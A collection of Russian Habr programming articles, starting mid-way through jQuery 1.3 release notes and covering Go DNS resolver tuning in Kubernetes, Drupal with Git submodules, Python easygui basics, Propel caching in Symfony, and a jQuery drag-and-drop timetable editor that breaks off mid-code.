Весь код, отвечающий за инъекцию кода в HTML и работу с DOM (такие как `.append()`, `.prepend()`, `.before()` и т.п.) также был переписан. В результате опять же было увеличено быстродействие данных операций по сравнению с другими библиотеками:
### Метод Offset
Метод .offset(), вычисляющий положение объектов, теперь тоже обновлен и работает быстрее:
### Определение браузера пользователя
В новой версии используется уникальная технология определения браузера пользователя: вместо использования привычной идентификации через userAgent, jQuery моделирует специфические особенности каждого браузера или пытается вызвать типичную ошибку. Все это собрано в специальный объект *jQuery.Support*. При этом объект *jQuery.browser* по прежнему присутствует в библиотеке.
### Критические изменения
Разработчики просят обратить внимание на ряд изменений, которые могут вызвать ошибки при установке новой версии фреймворка на страницу с кодом под предыдущую версию:
* Символ '@' в селекторе стилей `[@attr]` был удален. Осуждаемый еще с версии 1.2, такой синтаксис больше не работает. Просто уберите `@` в своем коде для работы с новой версией.
* События в триггерах теперь поднимаются по DOM. Ваши старые обработчики теперь могут случайно фиксировать больше событий, чем нужно.
* Метод `.ready()` больше не ждет, пока будут подгружены все CSS. Для корректной работы необходимо убедиться, что все стили подключены до работы сценариев.
* `.isFunction()` стал проще, диапазон поддерживаемых функций уменьшился (исключены функции, предоставляемые браузерами, такие как `alert()`, а также методы DOM, например `getAttribute`)
* Порядок селекторов стилей вида «a, b, c» может меняться. Браузеры, которые поддерживают querySelectorAll (Safari, Firefox 3.1+, Opera 10+, IE 8+) вернут элементы в том порядке, в котором они расположены в документе, в остальных же порядок может быть отличным. В версии 1.3.х все будет исправленно.
* Триггеры и их обработчики больше не принимают объекты событий в виде массива, теперь их нужно определять напрямую как аргументы.
* Незадокументированная экстра-функция больше не используется в триггерах и их обработчиках.
* *jQuery.event.trigger* больше не возвращает последним элемент, возвращенный обработчиком. Необходимо воспользоваться объектом *jQuery.Event* чтобы получить нужное возвращаемое значение (*event.result*).
* Необходимо удостовериться, что страница работает в нормальном режиме. Отмечены случаи, когда некоторые методы некорректно работали при включенном режиме совместимости (в их числе ошибки в работе селекторов в Сафари).
Полный список изменений [выложен на официальном сайте плагина](http://docs.jquery.com/Release:jQuery_1.3).
В ближайшую неделю-две выйдет версия 1.3.1 с фиксами всех найденных багов.
*Do more, write less!* ;)
**UPD:** Дописал список критических изменений. | https://habr.com/ru/post/49115/ | null | ru | null |
# Как в восемь раз уменьшить количество DNS-запросов в Go
Привет, Хабр. Меня зовут Рустам. Я работаю в Ozon: админю Kubernetes и пишу на Go.
У нас очень много сервисов на Go — их количество исчисляется тысячами. Запускаются они внутри кластеров Kubernetes. А я плотно работаю с Kubernetes и заметил, что при запуске кода внутри Kubernetes для резолва одного адреса делается до десяти DNS-запросов. Это, конечно, влияет на производительность.
Я решил разобраться, как Go делает DNS-запросы. В результате мне удалось уменьшить их количество в наших проектах до одного-двух. Как у меня это получилось и можно ли использовать мой опыт в вашем проекте, я расскажу в статье.
Cgo-резолвер vs Go-резолвер
---------------------------
Начнём немного издалека. Будет здорово, если вы освежите знания о том, как [работает DNS Lookup в Linux](https://zwischenzugs.com/2018/06/08/anatomy-of-a-linux-dns-lookup-part-i/). В данной статье я будут рассматривать версию Go 1.16.
В Go можно использовать две реализации резолверов: Go и Cgo.
Cgo использует системный резолвер, а Go — резолвер, написанный на Go. Казалось бы, они должны работать одинаково, но на самом деле есть различия. И какой включится по умолчанию, не очень очевидно, даже несмотря на [документацию](https://golang.org/pkg/net/#hdr-Name_Resolution) и [код](https://github.com/golang/go/blob/go1.16.3/src/net/conf.go#L123).
Различия в работе резолверов как раз и определяют, какое количество запросов будет сгенерировано в том или ином случае. Моей целью было выяснить, в каком случае стоит запустить один резолвер, а в каком — другой, и стараться учитывать это на старте проектов.
Итак, первым делом нам нужно понять, какой резолвер будет использоваться в конкретном случае. Это сильно зависит от среды, в которой запускается приложение, а иногда даже от имени хоста. Я использую преимущественно macOS и Linux, поэтому буду рассматривать только их.
В основном я сталкивался с такими внешними факторами, влияющими на выбор резолвера, как CGO\_ENABLED и опции, используемые в resolv.conf и nsswitch.conf. Но не только с ними.
### CGO\_ENABLED
| | | |
| --- | --- | --- |
| **Tables** | **CGO\_ENABLED = 0** | **CGO\_ENABLED = 1** |
| Linux | go | it depends =) |
| MacOs | go | cgo |
Если Cgo отключён, то всё просто — используется Go-резолвер. А если включён, то на macOS по умолчанию [используется Cgo-резолвер](https://github.com/golang/go/blob/go1.16.3/src/net/conf.go#L69-L71). На Linux же всё сложнее и зависит от используемых env-переменных и опций в resolv.conf и nsswitch.conf.
### resolv.conf
Будет включаться Cgo-реализация, если в resolv.conf есть опции, кроме следующих:
* ndots
* timeout
* attempts
* rotate
* single-requests
* single-requests-reopen
* use-vc, usevc, tcp
[Полный список всех проверяемых опций](https://github.com/golang/go/blob/go1.16.3/src/net/dnsconfig_unix.go#L98-L134)
Тут включится Go-резолвер:
```
$ cat /etc/resolv.conf
nameserver 127.0.0.53
```
А тут уже будет работать Cgo-резолвер (это пример с десктопной Ubuntu):
```
$ cat /etc/resolv.conf
nameserver 127.0.0.53
options edns0 trust-ad
```
### nsswitch.conf
Что касается nsswitch.conf, то, если файл отсутствует, [включается Go-резолвер](https://github.com/golang/go/blob/go1.16.3/src/net/conf.go#L198-L206).
С таким nsswitch включается реализация на Go (это файл в контейнере ubuntu:focal):
```
passwd: compat
group: compat
shadow: compat
gshadow: files
hosts: files dns
networks: files
protocols: db files
services: db files
ethers: db files
rpc: db files
netgroup: nis
```
У меня на десктопной Ubuntu было вот такое: **hosts: files dns mymachines**. С такой конфигурацией включается Cgo-резолвер. [Код проверок опций в nsswitch](https://github.com/golang/go/blob/go1.16.3/src/net/conf.go#L216-L250).
### Принудительное включение резолвера
Можно с помощью env-переменной GODEBUG принудительно включать нужный резолвер:
```
GODEBUG=netdns=cgo
GODEBUG=netdns=go
```
На самом деле, есть ещё много вещей, которые оказывают влияние на выбор резолвера. Но я в повседневной практике с ними не сталкивался. Если интересно, можно [изучить код](https://github.com/golang/go/blob/go1.16.3/src/net/conf.go#L77).
### Проверка какой резолвер включается
Напишем простую программу, которая сделает GET-запрос:
```
req, err := http.NewRequest("GET", url, nil)
if err != nil {
panic(err)
}
_, err = http.DefaultClient.Do(req)
if err != nil {
panic(err)
}
```
Запускаем с дебагом DNS в системе, где по умолчанию выбирается Cgo. Выглядит логично:
Добавляем резолв ещё одного домена: my.local.
Принудительно указываем Go-резолвер. Пока ещё логично:
Теперь запускаем программу в системе, где Go-резолвер будет выбираться по умолчанию:
WAT?! Почему-то для домена my.local включается реализация Cgo-резолвера, хотя для golang.org выбрался Go-резолвер. В коде Go-резолвера [есть условие](https://github.com/golang/go/blob/go1.16.3/src/net/conf.go#L188-L194) для доменов .local. Поэтому я рекомендую делать реальные запросы и сниффать DNS-запросы через **tcpdump -i any -nnn port 53**.
Подводные камни
---------------
Я нашёл примеры нескольких ситуаций, которые влияют на количество запросов. Это IPv6, опция ndots в resolv.conf и резолвинг localhost.
### IPv6
В Go-резолвере [всегда](https://github.com/golang/go/blob/go1.16.3/src/net/dnsclient_unix.go#L586) делается два запроса в DNS: A и AAAA (даже если вы не используете IPv6). Если у вас нет опции single-request в resolv.conf, они выполняются параллельно, но всё же это дополнительные запросы.
Cgo resolverGo resolverЧтобы решить эту проблему, можно использовать кастомный DialContext. Внутри исходников http.Transport [зашито](https://github.com/golang/go/blob/go1.16.3/src/net/http/transport.go#L1600) использование TCP, а нам надо пробросить значение tcp4:
Посмотрим, есть ли сейчас АААА-запросы в DNS. При использовании Cgo-резолвера дополнительного запроса нет:
А вот при использовании Go-резолвера мы видим запрос для получения адреса IPv6:
В Go 1.17 это [исправили](https://github.com/golang/go/pull/45016):
В итоге получается такая ситуация с IPv6:
| | | |
| --- | --- | --- |
| **resolver** | **1.16** | **1.17** |
| cgo | 2 | 2 |
| go | 2 | 2 |
| cgo custom transport | 1 | 1 |
| go custom transport | 2 | 1 |
### ndots
Эта тема особенно актуальна для тех, кто использует Kubernetes. По умолчанию в подах Kubernetes будет примерно такой resolv.conf:
> **ndots:***n* Sets a threshold for the number of dots which must appear in a name given to [res\_query(3)](https://man7.org/linux/man-pages/man3/res_query.3.html) (see [resolver(3)](https://man7.org/linux/man-pages/man3/resolver.3.html)) before an *initial absolute query* will be made. The default for *n* is 1, meaning that if there are any dots in a name, the name will be tried first as an absolute name before any *search* *list* elements are appended to it. The value for this option is silently capped to 15.
>
>
Можно увидеть много запросов:
В итоге делается восемь запросов — по два запроса (A и AAAA) на каждый из этих доменов:
* golang.org.**ns.svc.cluster.local**
* golang.org.**svc.cluster.local**
* golang.org.**cluster.local**
* golang.org
Это нужно для того, чтобы под мог ходить в другой сервис в том же неймпейсе только по имени сервиса, без полного FQDN. Но ситуация усугубляется, если в вашей сети есть ещё и ваши собственные search-домены. Каждый такой домен будет подставляться при попытке резолва адреса.
Лечится это несколькими способами. Можно использовать полный FQDN с точкой в конце. А можно добавить настройку в поды. Но в обоих случаях вам нужно использовать полные домены при обращении к другим сервисам внутри Kubernetes.
```
dnsConfig:
options:
- name: ndots
value: "1"
```
### localhost
В Kubernetes могут осуществляться вызовы localhost. Обычно это происходит, когда используются сайдкары для сетевых вызовов. По сути, это прокси, которое работает в соседнем контейнере в поде, но в том же сетевом неймспейсе.
Смотрим на системе, в которой по умолчанию включается Cgo-резолвер и отсутствует файл /etc/nsswitch.conf (привет, Alpine). Запрашивается DNS, так как системный резолвер не знает, где сначала смотреть домен, и сразу делает запрос.
Принудительно включаем Go-резолвер. Запросов нет:
Теперь попробуем запустить программу на системе, где Go-резолвер включается по умолчанию:
WAT?!
В версии 1.16 это [исправили](https://github.com/golang/go/commit/c80022204e8fc36ec487888d471de27a5ea47e17).
> В версии Go до 1.16
>
> hostLookupOrder(localhost) = dns,files
>
>
> В версии Go 1.16
>
> hostLookupOrder(localhost) = files,dns
>
>
Если файл такой, то резолвер будет сначала искать совпадения в /etc/hosts, даже в приведённых выше примерах, и не будет лишних запросов:
```
$ cat /etc/nsswitch.conf
hosts: files dns
```
А если такой, то всегда сначала будет делаться запрос в DNS:
```
$ cat /etc/nsswitch.conf
hosts: dns files
```
В моей практике был забавный случай с localhost: он резолвился в адрес.
Как говорится, happy debugging, suckers!
Баги ядра
---------
Ещё я натыкался на баги в ядре. Были race conditions в DNAT Conntrack. Возникали они, когда отправлялись одновременно два UDP-пакета через один сокет из разных тредов. Это поправлено [в версии 4.19](https://github.com/torvalds/linux/commit/ed07d9a021df6da53456663a76999189badc432a) и совсем исправлено — [в 5.0](https://github.com/torvalds/linux/commit/4e35c1cb9460240e983a01745b5f29fe3a4d8e39).
Итоги
-----
Если использовать образ Ubuntu Focal, то будет использоваться Go-резолвер, а если Alpine 3.13 — то Cgo-резолвер. На macOS будет использоваться Cgo-резолвер. Как мне кажется, сейчас большинство программ на Go запускается в Kubernetes, поэтому quick win будет исправление ndots. Это позволит в четыре раза уменьшить количество DNS-запросов.
Если же использовать дополнительный код для исключения IPv6 адресов, то можно ещё в два раза уменьшить количество DNS-запросов. В результате мы можем добиться сокращения запросов в целых восемь раз. При этом проверять, какие запросы отправляются в DNS, лучше через tcpdump.
Ну и последнее: не стесняйтесь копаться в кишочках используемых технологий — вы можете открыть для себя много нового и серьёзно улучшить производительность ваших приложений.
**Полезные ссылки:**
* [Реализация IPv4 only запросов в Go-резолвере](https://github.com/golang/go/pull/45016)
* [Исправление бага с localhost в Go 1.16](https://github.com/golang/go/commit/c80022204e8fc36ec487888d471de27a5ea47e17)
* [src/net/conf.go](https://github.com/golang/go/blob/master/src/net/conf.go)
* [src/net/dnsclient\_unix.go](https://github.com/golang/go/blob/master/src/net/dnsclient_unix.go)
**Как Linux делает резолв:**
* [man resolv.conf](https://man7.org/linux/man-pages/man5/resolv.conf.5.html)
* [Anatomy of a Linux DNS Lookup (en)](https://zwischenzugs.com/2018/06/08/anatomy-of-a-linux-dns-lookup-part-i/)
* [Tracing Linux Hostname Resolution (en)](https://www.kickflop.net/blog/2011/01/02/tracing-linux-hostname-resolution/)
* [Resolve IP addresses in Linux (ru)](https://habr.com/ru/post/352300/)
**Интересные статьи-расследования про DNS-запросы:**
* [Racy conntrack and DNS lookup timeouts (en)](https://www.weave.works/blog/racy-conntrack-and-dns-lookup-timeouts)
* [5 – 15s DNS lookups on Kubernetes (en)](https://blog.quentin-machu.fr/2018/06/24/5-15s-dns-lookups-on-kubernetes/)
* [DNS Resolution in Go and Cgo (en)](https://engineering.grab.com/dns-resolution-in-go-and-cgo) | https://habr.com/ru/post/570936/ | null | ru | null |
# Drupal + Git submodules: рецепты
В этой статье будут рассмотрены основные приемы работы с [подмодулями гита](http://git-scm.com/book/ru/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B-Git-%D0%9F%D0%BE%D0%B4%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D0%B8), если использовать их вместе с друпалом.
Наиболее полезным этот пост будет для тех кто, имея скромный опыт работы с гитом, попал на Drupal-проект где используются подмодули. (Именно так я познакомился с подмодулями и именно такой статьи мне в то время очень не хватало.)
**Оглавление*** [Обновление проекта](#update-project)
* [Установка модуля](#install-module)
* [Определение версии модуля](#get-module-version)
* [Обновление модуля](#update-module)
* [Патч модуля](#patch-module)
* [Обновление пропатченого модуля](#update-patched-module)
* [Восстановление репозитория модуля](#revert-module-repository)
* [Удаление подмодуля](#delete-submodule)
#### Условия
У нас есть линукс, установлен [drush](http://drupal.org/project/drush) и есть инсталяция седьмого друпала. Основной репозиторий хранит в себе ядро друпала (и, возможно, наши кастомные модули). Все команды выполняются из корневого каталога исталяции друпала, если не указано иное. Модуль — модуль друпала, подмодуль — подмодуль гита.
#### Минимум информации о подмодулях
Подмодули — это обычные гит репозитории. Они хранятся отдельно от основного репозитория.
В репозитории проекта хранится список используемых подмодулей, их расположение и УРЛы (в файле `.gitmodules`) и информация о том какое конкретное состояние (версия/релиз/коммит/тег) подмодуля будет использовано (в недрах каталога `.git`).
#### Обновление проекта [#](#update-project)
Если в вашем проекте используются подмодули, то лучше всего каждый раз после `git pull` выполнять еще и эти команды:
```
git submodule sync # обновляем используемые УРЛы репозиториев
git submodule update --init # устанавливаем новые подмодули и обновляем состояние уже установленных
```
#### Установка модуля [#](#install-module)
Команда драша `dl` умеет работать с модулями как с подмодулями гита:
```
drush dl module_name --package-handler=git_drupalorg --gitsubmodule
```
Драш поддерживает работу только с официальным репозиторием — `git.drupal.org`.
Что бы постоянно не писать дополнительные параметры команды `dl`, можно настроить значения параметров драша используемые по умолчанию добавив в `drushrc.php` следующие строки:
```
$options['package-handler'] = 'git_drupalorg';
$options['gitsubmodule'] = TRUE;
```
В этом случае все модули по умолчанию будут скачиваться как подмодули гита и можно писать просто:
```
drush dl module_name
```
Если же подмодуль нужно установить вручную, например, не из официального репозитория, тогда пользуемся обычной коммандой гита:
```
git submodule add git://github.com/example/module_name.git sites/all/modules/module_name
```
После чего нужно перейти в каталог установленного подмодуля и переключиться на нужный релиз:
```
git checkout 7.x-1.0
```
#### Определение версии модуля [#](#get-module-version)
Если скачать модуль «по старинке» с сайта drupal.org, то версия модуля будет указана в файле `module_name.info`. Она добавляется в этот файл автоматически при создании релиза, в репозитории ее нет.
Что бы друпал сам мог определять версию модулей нужен модуль [git\_deploy](http://drupal.org/project/git_deploy). Он дополняет информацию полученную друпалом из info-файлов добавляя в нее версию модуля, которую он «добывает» используя различные команды гита. Использовать подмодули без `git_deploy` можно, но вы не сможете пользоваться обновлением через `drush up`, потому что друпал не будет знать текущей версии установленных модулей.
Узнать версию модуля можно еще и так:
```
git submodule status | grep module_name
```
В скобках будет указан тег который используется в нашем проекте.
**UPD:** Этот метод не всегда работает корректно, как выяснилось. Лучше из каталога подмодуля запустить:
```
git describe --all
```
#### Обновление модуля [#](#update-module)
Команда для обновления используется самая обычная:
```
drush up module_name
```
Опять же, она будет работать только если у нас установлен `git_deploy`.
Если нам нужно обновить модуль вручную, скажем, мы хотим обновится до определенной версии. Тогда из каталога подмодуля запускаем две команды:
```
git fetch # обновляем информацию из удаленного репозитория
git checkout 7.x-3.5 # переключаем код на требуемый релиз (тег)
```
После этого не забываем запустить обновления базы данных:
```
drush updb
```
#### Патч модуля [#](#patch-module)
Сначала желательно переключить подмодуль на определенный бранч потому как* патчи в основном пишутся для dev-версий
* драш «нацеливает» подмодуль на определенный релиз (тег), а это означает что ваш подмодуль находится в состоянии «detached head» и дальнейшая работа может быть затруднена.
Например, если мы использовали версию модуля 7.x-3.5, переключимся на рабочую ветку этого релиза:
```
git fetch # обновляем информацию из удаленного репозитория
git checkout 7.x-3.x # переключаемся на рабочую ветку
git pull # обновляем ветку
```
Применям патч используя [командную строку](http://drupal.org/patch/apply), вашу любимую IDE или прочие инструменты.
Создаем отдельный репозиторий для модуля который мы пропатчили. Например, на гитхабе.
Обновляем УРЛ репозитория вашего подмодуля. Для этого находим соответствующую секцию в файле `.gitmodules`, например:
```
[submodule "sites/all/modules/module_name"]
path = sites/all/modules/module_name
- url = git://git.drupal.org/project/module_name.git
+ url = https://github.com/example/module_name.git
```
Что бы гит начал использовать новый УРЛ, выполняем:
```
git submodule sync
```
Теперь можно закоммитить наши изменения и запушить всё в наш новый репозиторий. Из каталога подмодуля выполняем:
```
git commit -m "Applied patch from http://drupal.org/node/00000#comment-0000000"
git push
```
В ваш репозиторий попадет и ваш коммит и вся предыдущая история модуля.
#### Обновление пропатченого модуля [#](#update-patched-module)
Иногда требуется обновить модуль в который мы вносили свои изменения, например, в связи с выходом обновления безопасности или появления новых нужных нам фич.
Самым простым решением будет обновление из рабочей ветки официального репозитория. Например, если ранее мы пропатчили модуль на основе бранча 7.x-3.x, из каталога его подмодуля запускаем:
```
git pull http://git.drupal.org/project/module_name.git 7.x-3.x
```
(Если честно, это единственный способ которым я пользовался до этого момента.)
#### Восстановление репозитория модуля [#](#revert-module-repository)
Если ваш патч закоммитили или же он больше не нужен, есть смысл вернуть подмодуль на обеспечение `git.drupal.org`. Для этого обновляем (возвращаем прежний) УРЛ, снхронизируем УРЛы подмодулей, делаем `git fetch` из каталога подмодуля и чекаутим нужный релиз. Все это описано выше.
#### Удаление подмодуля [#](#delete-submodule)
Простой команды нет, но есть [рецепт со stackoverflow](http://stackoverflow.com/a/1260982/580371):1. удаляем секции подмодуля из файлов `.gitmodules` и `.git/config`,
2. выполняем `git rm --cached sites/all/modules/module_name`,
3. коммитим изменения и удаляем каталог подмодуля.
#### Заключение
В контексте друпала использование подмодулей дает ряд преимуществ. Патчить модули становится удобней, а поддерживать их при этом в актуальном состоянии — легко. Вы можете использовать пропатченые или ваши собственные модули в нескольких проектах, при этом централизованно ведя работу над ними. А если учесть, что для работы с подмодулями нужно освоить всего лишь несколько простых приемов, то мы получаем сплошные плюсы и делаем вывод что подмодули — это простой и эффективный инструмент который можно и нужно использовать в Drupal-проектах. | https://habr.com/ru/post/164019/ | null | ru | null |
# Основы easygui python. Часть 1
Это статья об основах модуля easygui для языка Python. Рекомендую использовать Python ветки 2-x, так как это позволит совместить табуляцию и пробелы. Конечно же, данный модуль не для написания программ, а в качестве дополнения. Статья написана для самых начинающих, поэтому будет много комментариев.
**-1. Импортировать easygui**
```
import easygui
from easygui import * #Импортируем всё.
```
**0. Привет, мир!**
Напишем Hello, world! на easygui.
```
msgbox(msg, title, ok_button, image, root) #Все параметры (args)
```
Давайте создадим переменные(можно и без них, но так понятнее).
```
msg = "Hello, world!" #Сообщение
title = "Hello, world!" #Шапка
button = "Ответить" #Кнопка
image = "your_image" #У меня нету подходящего изображения
```
Теперь нам будет гораздо проще сделать сообщение.
```
msgbox(msg, title, button) #У меня нету картинки
```
Теперь у Вас появится вот такое окошко:
Мы написали Hello, world! Теперь можно продвинуться дальше.
**1. Ввод данных в inputbox и запись данных в переменные**
Внимание enterbox записывает в переменную только один символ! Теперь можно сделать input.
```
n = input() #Стандартный ввод.
```
С помощью easygui тоже можно сделать ввод и записать его в переменную. Для этого есть функция enterbox. Далее создадим функцию vvod и сразу переменные.
```
def vvod():
global var1 #Переменная куда будем записывать данные.
msg = "Введите цифру"
title = "Ввод переменной" #Шапочка.
```
Теперь нам нужно создать список, чтобы создать поля(Вы также можете сделать несколько полей ввода).
Добавим в функцию vvod следующее:
```
fieldValues2 = enterbox(msg, title)
var1 = fieldValues2[0]
```
Теперь появится такое окошко при запуске:
**Вывод переменной на экран msgbox**
```
msg = "Вы ввели " + str(var1) # Str + Int = Error
msgbox(msg, "Возврат", "Я понял!") #Все параметры
```
**2. Да или нет?**
В easygui есть функция ynbox(YesNoBox). Эта функция позволяет выбрать пользователю его дальнейшие действия. К примеру «Хотите ли вы продолжить?» и выбор варианта из предложенных. Стандартное «Да» и «Нет», а вот функционал других кнопок вы должны сделать сами(В параметрах только эти «default\_choice» и «cancel\_choice»). Можно забиндить их на клавиши и сделать несколько выборов.
Зададим переменные:
```
msg = "Вы хотите продолжить?"
title = "Важно!"
choices = ("[]Да", "[]Нет") #Выборы и их бинды
```
Ну а вот, что означает «Да», а что означает «Нет» пропишем сами.
```
ynbox(msg, title, choices, image=None, default_choice="[]Да", cancel\_choice="[]Нет") #Что означает "Да", а что "Нет".
```
Появится такое окошко:
Запись в переменную аналогична inputbox.
**3. Авторизация. Не SQL!**
Теперь сделаем так, чтобы перед входом в программу нужно будет ввести пароль и логин. Для этого нам потребуются переменные и списки:
```
def login_procedure():
while True:
msg = "Введите логин и пароль"
title = "Авторизация"
fieldNames = ["Логин", "Пароль"] #Всё как в прошлый раз, не правда ли?
```
Цикл нужен, чтобы если пользователь ошибся, ему не пришлось перезапускать программу. Также, при нажатии кнопки «Отмена» программа крашится. Поэтому нам будет нужен try.
```
fieldValues = multpasswordbox(msg, title, fieldNames) #Чтобы окна появились
try: #Если получится
USERNAME, PASSWORD = fieldValues[0], fieldValues[1]
except: #Если не получится, то вызовем функцию заново.
login_procedure() #Ну про отмену наверное слышали.
exit(0) #Чтобы не появилось второе окно.
```
Теперь нам осталось задать правильный логин и пароль(Можно и в списке, и в SQL, но в этой статье говорится об основах easygui):
```
#Проверяем правильность.
if USERNAME == "login" and PASSWORD == "passtogo":
msgbox("Вход выполнен!")
break #Выходим из цикла
else:
msgbox("Неверный логин или пароль")
```
Теперь мы всё сделали. Пару скриншотов:
Надеюсь теперь Вам стало всё понятно, и статья принесла Вам пользу. Спасибо за просмотр! Если у Вас есть какой-то вопрос, то напишите об этом в комментарии. | https://habr.com/ru/post/501286/ | null | ru | null |
# ORM – зло или Как я пытался кэшировать Propel в Symfony
Работая над одним проектом (соц. сетью) передо мной встала задача «подружить» модель данных с memcache. Как Вы уже поняли из заголовка, проект написан на symfony framework, а в качестве ORM используется Propel.
**Зачем кэшировать модель, спросите вы, если можно просто использовать кэш View?**
Как показала практика (сначала был использован именно кэш view) это оказалось не целесообразно. При каждом изменении данных пользователем необходимо было сбрасывать кэш сразу нескольких закэшированных блоков. Количество этих блоков с развитием проекта растет, логика усложняется. Чтобы разгрузить мозг и избежать ошибок, и было принято решение кэшировать модель.
**Как оказалось Propel вообще не предназначен для кэширования, и при отключенном кэша-view генерирует ОЧЕНЬ большое количество запросов.**
Мой рекорд 250!!! Почему спросите вы? Потому что Propel интересным образом реализует связи между объектами. Вместо того чтобы брать объект из единой точки ( например методом retriveByPk ), он делает запрос в базу данных!!! А это значит, что если у нас есть объекты юзера, его фоток, его записей из блога, то с каждого объекта мы получаем запрос в базу данных. Есть у нас, например, в выборке 20 фоток – получи 20 запросов в базу, чтобы узнать логин автора фотки. А если у фотки есть еще Альбом? То 40. А если это главная страница, на которой есть фотки, записей из блога и еще много чего?! Все 250 :)
**Что интересно в Propel’e об этом предупреждают :)**
Вот пример:
> `public function getsfGuardUser(PropelPDO $con = null)
>
> {
>
> if ($this->asfGuardUser === null && ($this->user\_id !== null)) {
>
> $c = new Criteria(sfGuardUserPeer::DATABASE\_NAME);
>
> $c->add(sfGuardUserPeer::ID, $this->user\_id);
>
> $this->asfGuardUser = sfGuardUserPeer::doSelectOne($c, $con);
>
> /\* The following can be used additionally to
>
> guarantee the related object contains a reference
>
> to this object. This level of coupling may, however, be
>
> undesirable since it could result in an only partially populated collection
>
> in the referenced object.
>
> $this->asfGuardUser->addPhotos($this);
>
> \*/
>
> }
>
> return $this->asfGuardUser;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
А можно всего-лишь:
> `public function getsfGuardUser(PropelPDO $con = null)
>
> {
>
> return sfGuardUserPeer::retrieveByPK($this->getUserId(), $con);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Таким вот простым переопределением можно избавиться от «лишних» запросов**.
Правда, если связей много, придется изрядно покопаться в коде.
Теперь перейдем непосредственно к кэшированию. Хотелось, чтобы после вызова метода retrieveByPK возвращался объект из кэша, если он там есть, а если нет, то брался из базы и сохранялся в кэш. Что самое интересное, в propel есть пул загруженных объектов. Этот пул всего лишь временное хранилище.
Вот пример генерируемых методов для модели юзера.
> `public static function addInstanceToPool(sfGuardUser $obj, $key = null);
>
> public static function removeInstanceFromPool($value);
>
> public static function getInstanceFromPool($key);
>
> public static function clearInstancePool();
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И если переопределить эти методы таким образом, чтобы объекты, попадающие в пул одновременно и кэшировались в memcache, то решится задача кэширования объектов модели. Правда, это не изящное решение, но в Propel объекты модели изолированы друг от друга. И если и можно что-то сделать, то на более низком уровне, уровне frameworka. А значит, что такие изменения необходимо учитывать при обновлении symfony, что очень неудобно.
*Propel не стоит использовать для построения крупных и сложных веб-проектов.*
**UPD**
Join'ы не подходят, т.к. много join'в использовать не рекомендуется, это доп нагрузка на базу, т.к.запрос сложнее. При большой нагрузке это существенно. А вот если все делать простыми запросами и связи дергать по праймари ключам, то все встает на свои места. Пример. Выборка 20 фоток, у них есть альбомы, авторы, аватарки авторов, аватарки альбомов. С join'и будет запрос с соеденением 5 таблиц!!! А если таких воборок 5 на странице!? А в моем случае именно так!
**UPD2**
Внимательно читайте статью ))
**UPD3**
Продолжение истории
[Как я подружил «memcache» и Propel в Symfony](http://habrahabr.ru/blogs/symfony/74873/) | https://habr.com/ru/post/74654/ | null | ru | null |
# Удобное заполнение расписаний с JQuery
*Эта история произошла с Дмитрием Дубовицким — программистом «Бюро Пирогова».*
Однажды случилось мне заниматься одним весьма интересным проектом. По ТЗ нужно было заполнить расписаниие занятий фитнес-клуба в неком XML. В принципе, ничего сложного — прочитал XML, заполнил данными таблицу на экране, но… Как же клиент будет редактировать расписание и править xml-файл? руками?
Выход прост — это можно сделать мышью!
Тут и начинается самое интересное!
Дело в том, что на каждый урок могут быть разные инструктора, разные спортивные залы в клубе, не говоря уже про различные названия занятий — по сути это обыкновенные списки, которые изо дня в день заполняются множеством подобных организаций.
Возникла интересная идея — а почему бы не сделать так, чтобы все графы таблицы (имя инстурктора, название программы, зал) можно было перетаскивать прямо на клетку с занятием?
Красиво и технично.
Реализовать это не так уж сложно.
Для начала заполните страницу «скелетом»: времена и дни недели в таблице будут проставляться динамически.
Чтобы не мучаться посмотрите сразу на [первоисточник](http://pirogov.ru/time_project) или [всё целиком](http://pirogov.ru/time_project/timetable_pirogov.zip)
скелет содержимого страницы:
> `"timetable"
> width="1100" border="1" align="center" >
>
> | Время |
> | --- |
>
>
>
>
>
>
> class="programs">
> * Abs-30
>
>
> ...
> * Jazz
>
>
>
>
>
>
> class="zals">
> * Зал восточных единоборств
>
> * Зал групповых программ
>
>
>
>
>
>
> class="instructors">
> * Артем
>
>
> ...
> * Ксюша
>
>
>
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
и код jquery c необходимыми функциями. Нужно вставить в функцию $(document).ready():
> `$('ul.instructors, ul.zals, ul.programs').draggable();
>
> //Делаем списки перемещаемыми
>
>
>
> // вложеннные друг в друга draggable элементы некорректо ведут себя в IE
>
> // поэтому перепишем так:
>
> if (!$.browser.msie) {$('ul.instructors, ul.zals, ul.programs').draggable();}
>
>
>
> $("ul.programs li, ul.instructors li, ul.zals li").draggable({revert: 'invalid', zIndex: 10});
>
> // делаем элементы списков перетаскиваемыми
>
> // опция "revert: 'invalid'" плавно возращает элемент обратно, если он не попал в клетку таблицы
>
>
>
> // Каждую клетку таблицы делаем способной принимать перемещаемые элементы
>
> // Делается это с помощью метода droppable
>
> // В свойстве accept указываем какие элементы может принимать ячейка таблицы (это программы, инструкторы и залы)
>
>
>
> $("#timetable td").droppable({accept: "ul.programs li, ul.instructors li, ul.zals li",
>
> hoverClass: "hover", // CSS класс, ассоциирующийся с одной ячейкой, которая будет принимать перетаскиваемый элемент
>
> drop: function(event, ui) { // Функция, вызываемая после перетаскивания
>
>
>
> var class\_to\_find=''; // Уточним, с каким из трех элементов мы работали.
>
>
>
> if ($(ui.draggable).parent().hasClass('instructors')) class\_to\_find='instructor';
>
> if ($(ui.draggable).parent().hasClass('programs')) class\_to\_find='program';
>
> if ($(ui.draggable).parent().hasClass('zals')) class\_to\_find='zal';
>
> // Обращаемся к элементу ui.draggable - это перетаскиваемый элемент (li).
>
> // .parent() - обращаемся по цепочке DOM наверх, к элементу ul.
>
> // У каждого элемента ul есть класс, определяющий, что находится в списке.
>
> // Присваиваем переменной class\_to\_find значение этого класса
>
> $(this).find('div.'+class\_to\_find).html($(ui.draggable).text()).css('display','none').fadeIn();
>
> // $(this) - обращаемся к ячейке.
>
> // так как структура ячейки у нас такая:
>
> //
>
> //
>
> //
>
> //
>
> //
>
> // то ищем div с классом, который мы определили в переменной class\_to\_find
>
> // И присваем текст div`у
>
> // который берем из объекта ui.draggable методом text()
>
> //
>
> // А методами .css('display','none').fadeIn(); добавляем эффект плавного появления.
>
>
>
> // Возвращаем перетаскиваемый элемент на его исходную позицию
>
